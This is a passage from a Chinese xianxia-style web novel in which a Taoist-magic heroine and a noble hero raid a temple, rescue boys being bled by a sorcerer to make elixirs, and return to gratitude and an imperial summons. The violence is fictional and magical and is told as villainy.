纯阳丹便是男童血肉之身为
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炉鼎,炼化体内纯阳之气凝聚成丹药,一颗便能固本培元,迅速修复受损真气!”
顾瑾焱听的不寒而栗,“用男童的肉身?……要用多少?”
“七七之数!”
殷琉璃默了默,清冷的眸子里闪过一抹凛冽,
“你还记得在国公府,无崖子布下阵法来救殷玉珠嘛?
当时我破了他的阵,他应该是被阵法反噬伤了元气,才需要用纯阳丹修复!”
虽然是猜测,但除此之外她想不出还有谁会用这种阴邪至极的手段!
顾瑾焱线条分明的俊脸骤然一沉,
“阿允应该就是去西城外追踪线索,被人掳到这里来的!
琉璃,我们快去……”
幸亏他来问了殷琉璃,若不是她那一卦,自己如今还在西城外到处找人呢!
更别说有了孩童失踪案的重大线索!
“等等。”
殷琉璃拦住他道,“炼纯阳丹这种东西容易招来阴邪之物觊觎,无崖子必然设了阵法,我们要做足准备才行。
让你的人去买朱砂佩戴,在眉心、心口、丹田处各点一点,以防被阵法所伤。”
顾瑾焱点了点头,侧眸轻喝了一声,“乾一!”
不远处立刻有人上前,躬身待命,“主子。”
他沉声道,“按吩咐去做,听候号令。”
两人各自安排好,殷琉璃忽然道,“顾瑾焱,把你的手给我。”
顾瑾焱毫不犹豫的张开手掌,送到她的面前,“怎么?”
殷琉璃握住他的手,葱段般的手指在他手心画下一道“混元符”,心念催动,灵符化作一道若有若无的灵光钻入他的手心。
顾瑾焱静静的看着她,那双深邃的眸子里泛出一抹光芒。
“好了,混元符以阴阳二气护体,遇到危险时便化作混元珠护住心神。”
殷琉璃将他的手推了回去,这才敲了敲耳根,将哇呀呀召唤了出来,心念道,
“你跟着我,发现什么不对立刻禀报!”
哇呀呀双手一握,威风凛凛道,
“是,主人!”
为不打草惊蛇,两人在停马场跟乡民买了些香火,扮作香客往山上走去。
第71章 演的还挺像
一座气势恢宏的道观映入眼帘,进出香客络绎不绝。
山门耸立,上用红漆雕着“朝露观”三个大字。
红字如凝血般发乌,透着一丝阴仄逼人的气息。
殷琉璃微微眯了眯眸子。
先行探路的哇呀呀在耳边闪现,气恼的说,
“哇呀呀……主人,这里果然布了阵法,铜墙铁壁一般,末将不得而入!”
“是金刚阵。”
殷琉璃点了点头,心念道,“你且进来。”
如她所料,金刚阵法防阴物妖邪入侵,固若金汤。
哇呀呀就算是青面厉鬼级别,也难以破阵而入。
“琉璃,我的人给了暗号,观里没发现异常。”
顾瑾焱警惕的打量着四周,忽然沉声道。
殷琉璃点了点头,悄声说,
“跟我来。”
以男童血肉炼化丹药这种邪术,明面儿上肯定不会让人瞧出什么。
她以观气术查看,便能看到一缕缕细如发丝般的阴气从道观各处散发出来,如海中矗立飘舞的海带。
最密集氤氲之处,在一座大殿的后面。
顾瑾焱不动声色的跟在她身旁。
躲开烧香许愿的人群,一路绕过前面两进的大殿,便看见一条静谧的长长的走廊。
两人刚一踏进,身后忽然出来个道人叫住他俩,
“两位善人留步,后面是本观道人私修之地,外客勿入。”
“是吗?”
殷琉璃回头笑了笑,歉意的说,
“道长见谅,小女子身子有些不适,想找个地方歇下,没想到就走到了这里。”
说着往顾瑾焱身边靠了靠。
顾瑾焱会意的扶住她,一脸关心道,
“我夫人体力实在不济,还望道长行个方便,找地方让她歇下脚。”
道人警惕的打量两人一眼,摆摆手说,
“大殿前走廊有地方歇,你们不去?快些走吧!”
殷琉璃跟顾瑾焱对了个眼色,“虚弱”的扶头,
“走廊在哪儿?实在是走不动了……诶呀夫君,我头好晕!”
说罢便“晕”在了顾瑾焱怀里。
演的还挺像那么回事儿!
“夫人!夫人,你撑着些!”
顾瑾焱心里偷笑了一声,赶紧将她接在怀里,紧张的说,“道长,我夫人晕过去了!快来救人呀……”
道人满脸不耐烦的上前查看,
“晕了去找大夫,我又不是……”
话音未落,他脖子便被一只骨节分明的手重重掐住。
道人突然张嘴要叫,已经被顾瑾焱拖进了墙角。
“不想死就老实点。”
他幽深的眸中闪过一抹寒意,声线阴沉。
殷琉璃起身,冷冷的盯着他,
“我问你,朝露观是不是有一个地牢?入口何处!”
道人憋红的脸上闪过一抹错愕,慌忙掩饰着说,
“两位……怕不是弄错了,朝露观是道家之地,哪里来的地牢?”
殷琉璃懒得跟他废话,反指一挥,一道“实言咒”化作灵光打了过去,
“说实话。”
道人立刻脱口而出,“地牢在后殿的底下,入口在密室之中。”
说罢,他吃惊的看着殷琉璃,
“你、你是何人,竟会我道家法术!”
殷琉璃挑眉道,
“我是何人不用你管,带我们去密室。”
道人恶狠狠的看了两人一眼,语气凶狠的说,
“你们最好放开我!敢闯我朝露观,怕不是来找死的!
告诉你们,观主道术高超,让他知道一定不会放过你们的……”
殷琉璃唇边勾起一抹冷笑,
“你们观主就是无崖子吧?手下败将!
我问你,他是不是从京城抓了很多男童,在地牢中炼丹!
还有,昨日有没有两个男人被他抓来这里?”
道人极力抿唇抗拒,可中了实言咒嘴根本不受控制,
“是!观主抓了十九个男童做炉鼎,炼制纯阳丹!
昨日本要去收第二十个,谁知被两个年轻人盯上,便把他们弄了过来!”
殷琉璃脸色一沉,
“两人还活着嘛!”
“还、还活着。”
道人艰难的咽了口口水,老老实实的说,“观主说这两人年龄虽大些,总可用其阳气炼制别的丹药,就先没杀他们。”
殷琉璃和顾瑾焱对视一眼,各自松了口气。
顾瑾焱手上
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用了一些力气,命令道,
“带我们去密室。”
道人咬了咬牙,恶狠狠的说,
“观主早在密室外布下了阵法,若非有观主的入阵符在手,活物进去等于闯进火海一般,能生生烧死!
你们还想去密室,怕不是活腻歪了!”
“烈焰阵?”
殷琉璃皱了皱眉,声线不屑的说,“这不用你操心,你只管带路。”
道人挣扎了几下,还是一副不肯就范的样子,
“我警告你们,我们观主已修成半仙之身,你们若敢擅闯……”
话音未落,顾瑾焱掐着他脖子的手指骤然用力,
“少废话,带路!”
道人喉骨咔咔作响,痛的他脸色一狞,咬牙道,
“我、我不能带你们去……观主会杀了……我的!”
“你不去,现在就会死,还会死的很惨。”
殷琉璃抬手在掌心画下一道“逆脉符”,手指一翻,将一道灵光拍进他的心口上。
道人只觉得心头气血被狠狠一震,一股难忍的痛楚电流般传遍全身。
他狰狞的脸刷的一下惨白,失声道,
“妖女,你、你对我做了什么!”
“啪”
话音未落,脸上就重重的挨了一巴掌。
顾瑾焱眸色一厉,
“叫谁妖女?我夫人,也是你能骂的?”
殷琉璃无语的瞥了他一眼,挑眉道,
“感觉到了?听说逆脉符没有,刚才给你下了一道。
一个时辰内不解,你懂的。”
《道家符箓》中有逆脉符的记载,道人自然知道。
这张符以“逆”字符文的威力,可使人体内乾坤倒转,气血经脉逆行,让人痛不欲生,最后五脏六腑破裂,七窍流血而亡。
道人满脸惊恐的看着殷琉璃,哆嗦道,
“别杀我!我、我这就给你们带路……”
这丫头明明长着一张娇美的漂亮脸蛋儿,下手怎么这么狠呢!
顾瑾焱不觉勾唇。
在他眼里,殷琉璃身上总是带着一种亦正亦邪的气息,迷人极了。
道人走在前面,带着殷琉璃和顾瑾焱穿过走廊,又三拐两拐去了一道小门,就停下了。
第72章 救人
他紧张的看着殷琉璃,吞咽口水道,
“密室就在里面,一个供奉三清屋子,入口在三清像的后面。
观主布下了烈焰阵,我是不敢进去……”
话音未落,院墙内突然发出一声刺耳的鸣叫。
一只鸽子从上面飞过,仿佛撞在一面看不见的墙上,火焰凭空而起,瞬间将挣扎的鸽子焚烧殆尽。
空气中弥漫出一股焦糊的烤肉味儿。
道人惊恐万状的说,“我没有骗你们,你、你能给我解符了吧?”
“砰”
殷琉璃抬手重重击在他后脑勺,道人两眼一翻晕死过去。
顾瑾焱暗暗吸了口气,“琉璃,这就是烈焰阵?”
他心里着实惊了一下。
小门后是一处不大的院子,一面靠着山石,看起来明明很是寻常。
若是没人带路自己摸过来,暗卫往里一闯,怕不是也要变成烤鸽子了!
幸亏殷琉璃在!
“烈焰阵以三昧真火而成,可焚阳烈阴,很是凶险。”
殷琉璃点点头,沉声道,
“叫你的人出来,等我破了阵法,跟我进去救人。”
顾瑾焱抬手做了个奇怪的手势,霎时间数道身影从各处闪现而至。
殷琉璃静息片刻,脑海中闪过祖师爷留下的那些典籍中,破烈焰阵的一个法子。
她从顾瑾焱衣角扯下一块儿巴掌大的布片。
抬手咬破食指尖,以指血为墨,在布片上画了一道“御水咒”,口中疾疾念着,
“天地无极,太一生水,水精为引,三昧真火熄!急急如律令!”
真气运行,还在滴血的指尖仿佛亮起一道光芒。
“破!”
殷琉璃将手中符咒高高抛起,随着一声轻喝,符咒凭空燃起耀目的火焰,顷刻间化作一道灵光向阵法射去。
“嗡……”
众人感觉脚下的土地突然震了一下,耳朵里砸进了轰的一声,震的人心头一颤。
“好了。”
殷琉璃平稳了一下气息,冷声道,“跟我进去后,瞧见什么都不要乱动,一切听我号令。”
能破三昧真火的符咒自然非同一般,她用了不少真气催动,气息稍乱。
“是!”
暗卫们齐刷刷应了一声。
他们虽看不到阵法阵气,可刚才那一下地震的感觉,可不是凭空而来的。
众人看着殷琉璃的眼神都不一样了。
推开小门,里面是一处四五十平的小院子,依山石而建的一栋小屋就在眼前。
屋子里光线昏暗,气息阴冷幽沉。
靠墙正中供奉着一座三清像,一个暗卫上前查看,果然在三清像后找到一处暗门。
“嘎吱……”
打开暗门,扑面而来一股潮湿凝重的空气,一丝丝血腥气息夹杂其中。
一个向下伸长,一眼望不到底的暗道,黝黑瘆人。
殷琉璃敲了敲耳根,用心念道,“出来,前面探路。”
“是!”
哇呀呀从她耳中钻出,化作青面厉鬼的模样,青面獠牙面目狰狞,一闪身便钻进了暗道。
殷琉璃拔腿跟上,却被顾瑾焱一把拉住胳膊,神色严肃道,
“琉璃,我先。”
殷琉璃望了他一眼,摇头叮嘱说,
“不用,哇呀呀先行探路去了。你们跟紧我,遇到危险就叫。”
顾瑾焱皱了皱眉,“哇呀呀?是什么?”
殷琉璃抬手指了指耳朵,
“哦,忘了告诉你,哇呀呀是我的耳报神,一个很厉害的鬼将。”
顾瑾焱,“……”
怪不得看她时常敲一下耳根,或者摸摸耳垂,原来耳朵里还有这么个东西!
……
暗道七弯八绕,黢黑的让人心里发毛。
越往下走,血腥味儿就越重,让人喉咙里隐隐作呕。
不多时眼前突然变得开阔,一座阴森幽暗的地下山洞跃入眼帘。
众暗卫看着眼前的场景,全都不由自主的吸了一口冷气,浑身上下的血液都要凝固。
殷琉璃只看了一眼,便从牙缝里挤出几个字,
“无崖子,你简直是个畜生!”
顾瑾焱饶是见过不少血腥的场面,此时那双幽深的眸子里也满是震惊和痛恨。
这山洞简直就是人间炼狱!
山
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洞四周竖着四十九根十字形方木,以七七之形排列,其中十九根方木上紧紧绑着那些男童。
男童衣衫剥尽,胸口上赫然插着一支细长的竹筒,竹筒下流淌出鲜血。
血水滴滴答答的汇入正中的一个圆形血池,池中血水说不出的刺目。
他们面目痛苦狰狞,小小的身体不停在颤抖,一双双眼睛里只剩下痛苦和惊恐,眼睁睁看着自己的血流进血池。
可口中又塞着泥土,只能从喉咙中发出呜呜声……
殷琉璃警惕的环视一圈,没有找到无崖子的身影,便皱眉道,
“顾瑾焱,我和哇呀呀警戒,你们救人!快!”
暗卫们再也压不住心头爆裂般的怒火,冲上前将解救那些男童。
“阿允!”
顾瑾焱在一堆乱石中看到了双手双脚被缚的方政允和高洪,蓦地攥紧了手掌,压抑着胸腔中的怒火喝道,“救人!”
方政允头上满是血,脸色昏昏沉沉。
看到顾瑾焱的瞬间,他瞬间瞪大了眼睛,喉咙里拼命发出求救声,
“呜!呜呜……”
“阿允,我来了!”
顾瑾焱冲上前抱住他,声线中带上了一丝哽咽,“别怕,大哥在!大哥来救你了……”
“大哥,你、你怎么找到我们的?”
方政允一头扑进他的怀里,身子控制不住的颤抖,抽泣道,“我、我还以为这辈子再也见不到你了!”
顾瑾焱稳了一下情绪,连忙帮他把手脚上的绳子割开,“琉璃卜了一卦,算到你囚于山石之间,要往北去寻。”
说着,他忽然怔了一下,想起殷琉璃还说:
若遇水则有惊无险,无,则险象环生。
他下意识的往方政允身后看去,果然看到一条水桶粗细的地下河,汩汩流淌。
“我就知道琉璃妹妹厉害!这儿都能找到我,她人呢?”
方政允满脸惊喜,急切的寻找殷琉璃的身影,“她救了我的命!救了这么多人的命!”
“呼……”
话音未落,山洞中几盏油灯忽然明灭,跳跃的火苗瞬间变成了阴森森的幽绿色。
第73章 徒手接雷
将众人照的面目阴森,犹如厉鬼。
饶是见过无数血腥场面的暗卫们,也禁不住倒吸了一口冷气,仿如身处炼狱。
“砰砰砰……”
一瞬间,无数火花在暗卫们身上迸裂,好像点燃了烟花一般,顷刻间全倒在了地上。
煞气冲身。
如果不是殷琉璃提前让他们用朱砂点身,恐怕已经**。
“来了!”
她手指一翻,一道灵光从指缝飞出,射向阴暗的角落。
“砰……”
似乎击中了什么,重重的落地声夹杂着一个腔调怪异的闷哼声传来。
“主人,妖道在那儿!”
哇呀呀指着黢黑的看不见一丝微光的角落大喝,举起手中长到蹿了出去。
“出来!”
殷琉璃叱了一声,灵动的身形紧随而至。
顾瑾焱掌中有混元符,没有被阴煞冲身,这才看见她和一道黑影缠斗在一起。
她身形敏捷灵动,隐约能看见挥舞的指尖中,散发出的一抹光芒。
黑影连连还击还是被数到光芒击中,喉咙中发出充满怒意的嘶吼,
“殷琉璃,你为什么盯着我不放!我要你命!”
那个声音尖锐刺耳,非男非女怪异无比,听的人浑身鸡皮疙瘩刷的一下竖了起来。
“无崖子,你罪恶滔天,要死也是你死!”
殷琉璃反手又是一道灵光,精准的击中黑影面门。
“啊!”
一声惨叫,黑影忽然抬手画了几下,凌空突然现出一道雷火,映照出半张残破狰狞的脸。
那半张脸仿佛是一只皮包骨的骷髅,黝瞳尽覆,鼻子只是一个空洞,白森森的牙齿裸露在唇外,犹如厉鬼。
雷火兜头向殷琉璃劈下。
“赤雷咒!主人小心!”
哇呀呀惊叫了一声,浑身煞气大盛,飞身挡在殷琉璃身前。
他要硬扛这能将人劈成渣渣的赤雷咒!
“小心!”
电光火石间,顾瑾焱也抽出腰间金鞭飞身上前,那双幽深的眸子里满是寒芒。
他看不见哇呀呀,只见一道赤红色霹雷对着殷琉璃打了下来,想都没想便冲了过去。
殷琉璃一把推开顾瑾焱,手中光芒大盛。
来不及反应,她徒手接住了那道赤雷。
“轰……”
一声巨响,山洞接连震了两震。
“殷琉璃,你坏我好事,我绝不会放过你的!”
无崖子厉鬼般的脸上闪过一抹狰狞,咯咯咬牙,“天地无极,应变无明,遇山匿山,遇墙穿墙,太上老君急急如律令……遁!”
能硬生生扛下一道赤雷符的人,他绝不是对手!
再不遁走,他怕是要交代在这个臭丫头手里!
瞬间,无崖子化作一道黑影消失在黢黑的角落之中。
“哇呀呀……竟让那妖道跑了!”
哇呀呀举着长刀追了过去,恼火的乱砍了一通,再没发现无崖子的身影。
顾瑾焱起身上前,一双鹰隼般的厉眸扫过黑暗处,
“琉璃,他逃走了?”
“嗯,他用了遁字咒,来不及拦住。”
殷琉璃点点头,声线中带着一抹不易察觉的微颤,
“去看看暗卫和孩子们怎样……顾瑾焱,救人要紧。”
“好!”
顾瑾焱刚要收起金鞭,忽然看到殷琉璃口中呕出一口鲜血。
“琉璃!”
他惊呼一声,一把将殷琉璃摇摇欲坠的身子接住。
那张俊美的脸上带着从未有过的惊慌失措,失声道,“琉璃,你、你怎样……”
“我没事……”
殷琉璃抬手擦了一下唇角的血渍,缓缓说,“接了一道赤雷,真气耗费过多气血有些不稳,缓缓就好了。”
“真、真的?”
顾瑾焱一双担忧的眸子将她攫住,声线微颤,“你不要骗我!哪里不舒服一定要告诉我,我、我……”
殷琉璃吐了口气,将周身真气调息平稳才道,“你要怎样?你又不会……”
话音未落,她身子忽然一紧,整个人被顾瑾焱紧紧按进了胸膛。
那双手臂用了极大的力量,仿佛要把她按进自己的身体里一般,胸腔中跳动的心脏擂鼓般不规律的跳动……
殷琉璃感觉肺里的空气全都被压榨了出来,连忙抬手捶顾瑾焱的后背,从牙缝里挤出几个字,
“放、放开……我喘不上气了!”
一双冰冷
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的唇忽然落在她的额头上,顾瑾焱温热的呼吸中带着一抹急促。
时间在此刻定格。
殷琉璃脑袋里嗡了一下,心脏莫名其妙的狂跳。
“主人,暗卫们没事,只是被煞气震晕过去了。”
哇呀呀闪现在两人面前,突然瞪大了眼睛,“哇呀呀……你们在干嘛!”
……
暗卫们已经将绑在方木上的男童救下。
“阿亮!阿亮,你睁开眼睛看看我,我是大哥!”
高洪抱着奄奄一息的弟弟,嚎啕大哭,“救命!救命啊……”
“把他给我。”
殷琉璃手中闪过一道灵光,在高亮眉心处探了探,皱眉道,
“无崖子在这些孩子身上下了束魂符,将元神强行固定在身上。
除非鲜血流光,否则不管他们受到多大的痛苦都不会死。”
高洪几乎瘫软在地,忽然转过双腿跪在殷琉璃脚下,一下一下重重磕头,
“殷小姐,求你救救我弟弟!我求求你……”
殷琉璃抬手扶了他一把,“放心,能救。”
“无崖子那个畜生,竟残忍至此!”
顾瑾焱一巴掌拍在石块上,狠狠喝道,“待拿到这个妖道,将他千刀万剐都不为过!”
殷琉璃抿唇说,“他现在不人不鬼的,已经没人性了。
顾瑾焱,我要将他们体内的束魂符拔除,然后才能取放血的竹筒敷药……
会很痛苦,你们帮我按住他的手脚。”
顾瑾焱忽然凝了她一下,眼神中满是担忧,
“你气血还不稳,能行吗?”
他有点儿后悔让殷琉璃跟来。
刚才看到她吐血那瞬,顾瑾焱感觉自己的心脏差点儿停止跳动。
殷琉璃轻描淡写的说,
“救人要紧。”
说罢,她在掌中画下一道符咒,手指一翻,将灵光送入男童的眉心。
“啊!”
男童蓦地瞪大了眼睛,黑色的瞳孔收缩,扭曲的脸上充满了痛苦、惊恐、绝望的神情。
“忍着点儿,很快就好。”
殷琉璃眼疾手快拔出他心口上的竹筒,将止血药敷在上面。
十九个男童中,只有十二个还活着。
第74章 一把梭哈
将十二人身上的符咒拔除,殷琉璃累的双手都在发抖,靠在顾瑾焱的胸口上不知不觉睡着了。
……
朝露观被官兵围的水泄不通,挖地三尺捉出来二十多名道人,全都五花大绑押了出去。
此案一出,轰动了整个京城。
殷琉璃一觉醒来,发现睡在软软呼呼的床上,鼻端萦绕着一丝舒适的熏香气和一缕茶香。
房间很陌生。
“醒了?”
一旁茶桌前饮茶的顾瑾焱望了她一眼,俊美的脸上涌起一抹笑意,“真能睡!一下睡了八个时辰,害我差点儿进宫去找御医!”
殷琉璃皱了皱眉,“这是哪儿?”
“我的别苑,怎么样?”
顾瑾焱淡淡挑眉,“一会儿带你逛逛,喜欢的话你可以带夫人来这里住。”
“切,我才不来,我自己给我娘买大宅子。”
殷琉璃轻嗤了一声,起身才看到自己身上的衣裳换成了睡袍,双手上沾的血渍也全都清洗干净。
她腾的一下坐了起来,惊讶道,“我衣服呢?”
顾瑾焱淡淡的说,“换了,沾了好多血,还怎么穿?”
殷琉璃吃惊的看着他,“谁换的!”
房间里只有她和顾瑾焱两个人,别告诉我是这个家伙……
“当然是我,不然这房里还有谁?”
顾瑾焱那张俊美的脸逼近她,鼻子几乎贴在她的鼻子上,坏坏的一笑,“反正你就要嫁给我了,早几天坦诚相见……”
眼前这个满脸轻佻的人,和那个在朝露观面带寒霜,眸中带着杀气,周身压迫感十足的顾瑾焱,简直判若两人!
殷琉璃有点儿怀疑他是不是有个双生兄弟!
“啪”
顾瑾焱的脸上绽开了五个巴掌印。
还没等他反应过来,一只洁白纤细的脚丫子将他踹了出去,扑通一声跪在地上。
殷琉璃翻身下床,两条毛笔般笔直的小腿站在他的面前,揪起顾瑾焱的衣领居高临下道,
“再给你一次机会,谁给我换的衣服!”
顾瑾焱欲哭无泪,赶紧举双手投降,
“不是我,不是我!是夫人和金嬷嬷给你换的,冤枉啊!”
“你把我娘和金嬷嬷接来了?”
殷琉璃眼前一亮,着急的问,“人呢?她们在哪儿?”
顾瑾焱揉了揉脸,委屈巴巴的说,
“你一觉睡死过去,我能不把夫人接过来嘛?
她在厨房你煮粥呢,说等你醒了就能吃。
开个玩笑嘛,你怎么还**……”
虽然挨了巴掌,但一点儿都不疼,可见夫人根本没用力气!
夫人还是心疼他的!
殷琉璃抬起巴掌冲他**,
“谁叫你贱兮兮的耍笑!以后再敢,我还要打!”
“啪嗒”
门外,金嬷嬷手里的一叠衣裳掉在地上。
世子爷跪在地上,举手投降,大姑娘一手叉腰,拎着他的衣领气势汹汹。
大姑娘还光着脚丫子,两条藕条般的小腿站在世子爷的面前……
眼前这一幕说不出的辣眼睛。
金嬷嬷呀了一声,赶紧抬手捂住眼睛,
“老奴什么都没看到!老奴……夫人叫老奴呢!”
“金嬷嬷,回来!我俩真没干啥!”
殷琉璃急的跺脚。
完了,这下说不清了……
顾瑾焱唇边勾起一抹得逞的笑意。
……
在顾瑾焱的别苑养了两三天,顾瑾焱连大门都没出一次。
整天不是拉着她逛别苑,就是追着甄氏问做什么好吃的。
他还把卧房安置在她卧房对面!
每天出门就能看到那张脸,殷琉璃快被他烦**。
殷侯府来人说兵部高侍郎来府里问了两趟,说要求见殷家大小姐。
殷琉璃养足了精神,将真气调养的比之前还要充沛,也打算回去。
临走前,殷琉璃跟顾瑾焱说,
“无崖子被我所伤,不知道躲在哪里,但他绝不会善罢甘休。
你记得要暗卫们去探查,一旦发现什么线索立即告诉我!”
她可不会干等着无崖子上门寻仇,先下手为强,最好能趁他元气大伤要他的命!
“我已经派人去查了,放心。”
顾瑾焱深邃的眸子里闪过一抹担忧,轻声道,“你自己也要
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小心,他在暗你在明,要防着他用什么阴险的手段。”
殷琉璃点了点头,将一叠用朱砂写就的黄纸符递给他,
“这些灵符让暗卫带在身上,一能防身护体,二来此符遇到阴气重的人会有反应,一旦发热甚至自燃,就要加倍小心!”
“你帮我破了大案子,还救了阿允,送个大礼给你。”
顾瑾焱将符收了,抬手拍了拍。
一时间,几个身穿束身装,模样干净利索的年轻女子出现在殷琉璃眼前,齐刷刷跪道,
“属下见过世子爷,见过琉璃姑娘!”
殷琉璃眨了眨眼,“她们是……”
“我收下暗卫众多,都是从小收养来的孤儿,经过严格的训练和考核方能出来。
她们是坤字辈儿最拔尖的四个,功力还算不错,排名从一到四。”
顾瑾焱深邃的眸中闪过一抹复杂的情绪,淡淡的说,“你身边没有可靠的人,便把她们四个给你,贴身伺候。
坤一擅长暗器,坤儿擅长易容,坤三擅长兵器,坤四轻功了得。
一旦有什么,她们第一时间还能护着你。”
每每回想殷琉璃被一道赤色雷火劈下那刻,顾瑾焱心里就后怕的要命。
想来想去,他把暗卫中坤子辈最好的四个女卫放在殷琉璃身边,才觉得安心。
这个礼物简直送到了殷琉璃的心坎上!
殷琉璃心头涌上一丝暖意,
“多谢!那她们以后就是我的人了!”
她正好身边也缺人,就毫不客气的收了。
“奴婢们拜见主子。”
四人齐刷刷的拜了下去。
殷琉璃觉得她们的名字不好听,便笑着说,
“既然跟了我,以后万事都要以我的话为令,我的人不要求多厉害,最重要的是忠心不二!”
暗卫训练中最关键的一项,就是对主人忠心,这点很符合殷琉璃的要求。
她却不知,暗卫训练要求极高,一百个能出来的人里最多也就三五个女卫。
这四人能排在前四,绝对是顾瑾焱手里最厉害的几张牌。
他没有丝毫犹豫,一把梭哈给了殷琉璃。
第75章 为她打破百年规矩
殷琉璃看了一眼四人,
“还有一件事,四位姐姐只有排行吗?”
四人点了点头。
坤一道,“回主子,我们从小就不知自己姓甚名谁,做了暗卫,便由师父按排行赐名。”
殷琉璃想了想说,“名字不好听,我给你们改个好听的吧。”
四人脸上不约而同的摇头。
坤一道,“主人有所不知,暗卫有一条铁律,师父一旦赐名,终生不得改变,否则会被视为叛变,人人得而诛之。”
暗卫被剥夺的不止是个名字,而是个人意志。
因为他们从来都只是朝廷的一把工具。
殷琉璃不满道,“这是什么规矩?你们既跟了我,以后就要听我的规矩!”
“这……”
四人为难的看向顾瑾焱。
顾瑾焱矜贵的脸上闪过一抹笑意,轻描淡写的说,
“规矩,就是让人打破的。”
四人脸上顿时闪过一抹惊讶。
朝廷暗卫设置至今近百年,名字就是刻在他们骨子里的烙印,从未有人打破过这条铁律!
世子爷看似轻飘飘的一句话,实则是为殷琉璃开创了一条新河。
“顾瑾焱都这么说了,你们还有什么好犹豫的!”
殷琉璃挠了挠下巴,饶有兴致的说,“我姓殷,如果四位姐姐不介意的话,就随我姓殷。
至于名字呢,草木生生不息,又以梅兰竹菊最为清高,你们不如就叫梅兰竹菊,又好听又好记,怎么样?”
四人满脸欢喜,纷纷道,
“殷梅、殷兰、殷竹、殷菊,多谢主子赐名!”
“奴婢们喜欢这个名字!”
“主子,我们以后真的可以叫自己的名字了吗?”
殷琉璃不知,简简单单的一个名字,而非排行,对寻常人来说不值一提。
可对从小以暗卫标准要求的四人,如同重获新生一般。
……
殷侯府外**了许多人,半条街都被挤的满满的。
马车进不去,马夫只好站起来大声吆喝,
“让一让!大伙儿让一让!我家夫人小姐要回府了!”
“是殷大小姐回来了吗?”
不知谁问了一句,一群人呼啦啦上前将马车围了个水泄不通。
“殷大小姐,我儿被妖道抓去炼丹,幸亏大小姐救了他一命……”
“殷大小姐,我们全家都是来感谢小姐救命之恩的!”
“我家三代单传,若非大小姐救下我孙儿,我家就要**了……”
……
十数个男童的亲人流着泪跪下磕头,拼命将谢礼往殷琉璃的马车上塞。
殷琉璃没想到自己的名声传的这么快!
一路上回来,就听见街头巷尾许多人在议论她大破朝露观妖道,救出失踪孩童的事情。
连茶馆说书的都在讲,说的有鼻子有眼,比她亲自动手还要精彩!
“呼啦……”
帘子拉开,两个装扮清新亮眼的丫鬟站在车头,看了众人一眼道,
“我家小姐说了,不过是举手之劳。多谢各位的礼物,各位请回吧。”
众人还是围着马车不肯走。
殷梅殷兰二人对视一眼,默契的跳下车子在人群中开出一条路,让马车进去。
回到凤栖梧还没坐稳,仆妇就来禀报,
“大姑娘,兵部侍郎高大人携家眷来了,求见大姑娘。”
兵部侍郎,就是她救的其中一个孩子高亮的父亲。
殷琉璃放下茶碗,淡淡的说了一声,“这就去。”
她款步迈进客堂,就见一位身形壮硕,满脸威风的中年男人,笔直的坐在椅子上。
旁边一位脸色憔悴,眼眶通红的夫人,想必就是他的夫人。
“殷大小姐!”
高洪一眼就看见殷琉璃过来,弹簧般从椅子上跳起,快步迎上前,
“你、你还记得我吗?”
殷琉璃点点头,一脸客气的笑意,“你弟弟身子可好些了!”
“好些了好些了!”
高洪激动的有些语无伦次,
“你……殷大小姐,你身子可恢复好了?我们来了几次你都不在府里,如今可算回来了!”
那天她以一己之力击退妖道,又为十二个男童拔符疗伤,那种坚毅果敢的样子仿佛烙铁般印在了他的心里。
今日一见她,又是另一副娇美清纯的大小姐模样,就换了个人似的。
不过那双好看的眸子,依然散发着清洌的光芒。
“洪儿,不得无礼。”
高大人用洪亮的声线喝了一声,也站起身来,一张宽阔硬朗的脸带着感激的神色,冲她深深行礼,
“我儿高亮幸得殷大小姐施救,才捡回了一条命,在下与夫人感激不尽,特来拜谢小姐!”
殷琉璃客气的笑道,“举手之劳,高大人不必在意。”
高夫人竟扑通一声跪在了殷琉璃的脚下,失声痛哭,
“殷大小姐,你救了我儿一命啊!”
殷琉璃连忙搀扶,温声说,“夫人快快请起,琉璃不敢当。”
“高兄!”
殷镜堂匆匆赶来,阴郁的脸上闪过
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一抹惊喜,忙上前寒暄,“光临寒舍,怎的不让下人通知一声,镜堂也好出去迎接。”
这几日,宰相大人联合朝堂各大臣纷纷上书**他,这位高远就是其中一位。
身为兵部侍郎,高远直接隶属圣上管辖,在圣上眼里有着举足轻重的地位。
眼看就要顶不住了,若是高远能帮他说上些话,事情或许还有转机。
“殷兄不必客气,在下是来见贵府大小姐的。”
高远冷冰冰的回了个礼,目光又转到了殷琉璃身上,声线洪亮的说,
“殷大小姐,高某虽不是什么厉害之人,在京城也是有些声望的。
日后大小姐若有什么需要,尽管跟高某开口!来人,将礼物呈上来。”
话音甫落,几个小厮便捧着锦盒、布匹,抬着箱子进来,将礼物一一放在殷琉璃面前。
殷镜堂看的眼睛都直了。
这丫头回来以后,光是收礼就收了一个屋子都塞不下!
且不说国公府,就连朝中举足轻重的两位大人都专程来谢她!
就凭这关系,殷琉璃但凡开口,那两位大人都能在朝堂上帮他一把!
殷琉璃谢了礼物,客气的说,
“高大人高夫人太客气了,不过是举手之劳,这让我怎么敢当?”
高洪激动的满脸通红的说,
“你怎么不敢当?那天你救亮儿的时候,我全都看见了!”
高远责备的看了儿子一眼,“洪儿!”
高夫人则拉着殷琉璃的手打量,又惊又喜的说,
“原以为洪儿说的那些都是胡编的,一个闺阁中的大小姐怎会有那本事对付妖道?
没想到真见了你,我才知道他说的是实话!
琉璃小姐,你小小一个姑娘家,如何练成了这般通天的本事呀!”
殷镜堂被冷落在一旁急的抓耳脑袋,听见高夫人这么赶紧逮到机会插嘴,
“高夫人有所不知,琉璃她……”
不等他说完,高远就撇了他一眼,
“殷兄,我夫人在与琉璃小姐聊天。”
“是,是。”
殷镜堂尴尬的笑了笑,抬手道,“难得高兄登门,在下存了些好茶,请来一起品尝?”
他借着殷琉璃的关系,想趁机拉拢高远。
高远冷冷看了他一眼,毫不犹豫的拒绝,
“不必。在下前来只是为了感谢琉璃小姐!”
“圣旨到……”
就在此时,一个传旨的太监端着圣旨进来,高声叫道,
“殷侯府殷琉璃接旨……”
第76章 入职大理寺
殷琉璃不由一怔。
接旨?
接什么旨?
这事儿都传到皇帝耳朵里了?
皇帝要赏赐她吗?
“琉璃姑娘,圣旨传到,快跪下听旨呀!”
高夫人悄悄扯了她一下,脸上掩饰不住的惊喜,低声说,“妖道的案子闹的沸沸扬扬,影响甚巨,一定是圣上要行封赏呢!”
说着就拉她一起跪了下来。
“这位就是琉璃姑娘?”
传旨的公公笑眯眯的打量了殷琉璃一眼,
“老奴恭喜琉璃姑娘,圣上要传您进宫封赏呢!”
